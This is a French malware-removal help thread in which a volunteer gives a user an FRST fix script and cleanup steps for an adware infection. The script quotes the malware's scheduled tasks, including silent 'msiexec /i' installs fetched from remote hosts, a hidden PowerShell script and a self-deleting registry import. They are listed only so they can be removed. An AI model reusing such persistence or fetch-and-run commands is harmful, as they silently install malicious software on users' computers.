Pubs : Virus et adwares

[Majimus]

bonjour, j'ai commencé un processus frst pour nettoyer mon pc car il est touché par des virus (pops up, pubs, message d'erreur, ralentissement...)
j'aurais vraiment besoin d'aide, je dispose des scripts de l'analyse dans l'attente d'une réponse,
merci

FRST.txt:

FRST.txt

Addition.txt:

Addition.txt

[Malekal_morte]

Bonsoir,



Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-441035884-2873471522-220065971-1001\...\ChromeHTML: -> "C:\Program Files (x86)\Cuptony\Application\chrome.exe" "%1" <==== ATTENTION
Task: {E2137C4A-CC3A-41AE-B366-D03C9B3AD587} - System32\Tasks\SafeZone scheduled Autoupdate 1480245544 => C:\Program Files\AVAST Software\SZBrowser\launcher.exe
C:\Program Files (x86)\Cuptony
R2 AppleCloudSvc; C:\ProgramData\Apple\Common\Cloud\WinHelper.dll [108544 2017-04-26] () [Fichier non signé] <==== ATTENTION
HKLM\...\Providers\7x3vm0hx: C:\Program Files (x86)\Anaputain Cloud\local64spl.dll <==== ATTENTION
Task: {060A2E6A-3878-44BB-B5CF-C0FE41A94D30} - System32\Tasks\Y2Go\Updater\Y2GoUpdater => C:\Users\mboui\AppData\Local\MicrosoftUpdater\updater.exe <==== ATTENTION
Task: {147DBD8C-62F7-4F9E-AF97-287DF87E619A} - System32\Tasks\Updater_Online_Application => C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe [2017-04-18] (Microleaves) <==== ATTENTION
Task: {8C783FAC-80B1-4B52-BA7D-138021F9D393} - System32\Tasks\Windows-PG => C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\windows\psgo\psgo.ps1 <==== ATTENTION
Task: {6AD75299-4950-43E1-A0A3-CB1229680BC4} - System32\Tasks\Anaputain Cloud => C:\Program Files (x86)\Gerdolesilerly\xrikucult.exe
Task: {2712029A-E89F-46F5-AABB-805BA49F6360} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe <==== ATTENTION
*C:\Program Files (x86)\Gerdolesilerly
C:\Program Files (x86)\MIO
Task: {A954AB57-DE1D-4E2E-9A4F-5BD3308FE809} - System32\Tasks\Samsung Update => msiexec /i hxxp://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=ST1000LM024XHN-M101MBB_S32XJ9CG508376&d=20170426 /q <==== ATTENTION
Task: {C9DE58E4-5DCE-4E01-AA46-4733C28C797A} - System32\Tasks\Toferk => "msiexec" /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=ST1000LM024XHN-M101MBB_S32XJ9CG508376&d=20170424 /q <==== ATTENTION
Task: {CC136F3A-2856-4011-80FD-3BC9CBEF7728} - System32\Tasks\{EDEDBBE6-E5F2-4565-8655-BE6B81A622D5} => "c:\windows\system32\launchwinapp.exe" hxxps://ui.skype.com/ui/0/7.37.0.103/fr/go/help.faq.installer?source=lightinstaller&LastError=1632
Task: {CDBC7450-AD7B-444E-8579-427E5F7B17D9} - System32\Tasks\T0528 => "msiexec.exe" /i hxxp://point.chcyhqc.com/anzhaungoimism3.dat /q
Task: {DB02CC3E-EBDB-4B3A-80E5-A10D4901A4EB} - \Y2Go\Y2Go\Y2Go -> Pas de fichier <==== ATTENTION
Task: {E1B75A16-19A4-4677-843F-B0CAEDC4027F} - System32\Tasks\Bifba => C:\PROGRA~1\SHE601~1\Whlhfoa.bat <==== ATTENTION
Task: {E5A104F6-2CFE-4198-903A-360AC0ECA5F2} - System32\Tasks\Online Application V2G1 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe <==== ATTENTION
Task: {EC479173-1876-4802-BA75-64A7A0C01C9F} - System32\Tasks\psv_Ontodox => cmd.exe /c regedit.exe /s "C:\ProgramData\Ecois\ZummaQuadtip.reg" & del "C:\ProgramData\Ecois\ZummaQuadtip.reg" & SCHTASKS /Delete /TN "psv_Ontodox" /F <==== ATTENTION
C:\Program Files (x86)\Microleaves
C:\ProgramData\Ecois
Hosts:
EmptyTemp:
RemoveProxy:
Reboot:

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)


2) réinitialiser les navigateurs:
==================================
Réinitialise tes navigateurs et/ou re-paramètre manuellement tes navigateurs WEB ( page de démarrage, moteur de recherche, etc ) mais aussi supprimer/désactiver les extensions inutiles/parasites.
Pour t'aider à effectuer ce ménage, clique ci-dessous sur le nom du navigateur WEB que tu utilises :
* Réinitialiser et réparer Mozilla Firefox
* Réinitialiser et réparer Google Chrome
(Ne pas utiliser Zeok)

3)

Remets/Vérifie que tous les serveurs de noms (DNS) sont automatiques. Suis le paragraphe "manuellement" PUIS vide ensuite le cache DNS et internet. Ces 3 étapes sont importantes et à faire sinon les publicités vont continuer.


4)
Faire un nettoyage Malwarebytes Anti-Malware (MBAM ) version gratuite
Refais une analyse FRST et donne les nouveaux rapports via pjjoint.

[Majimus]

je n'enregistre pas le code?

[Malekal_morte]

Pas compris de quoi tu parles.

[Majimus]

après avoir copié/collé le code que dois je faire? pardon de l'imprécision

[Majimus]

finalement j'ai trouvé merci, voila ce que j'obtiens:

Fixlog.txt

[Malekal_morte]

ok, suis toute la procédure en entier.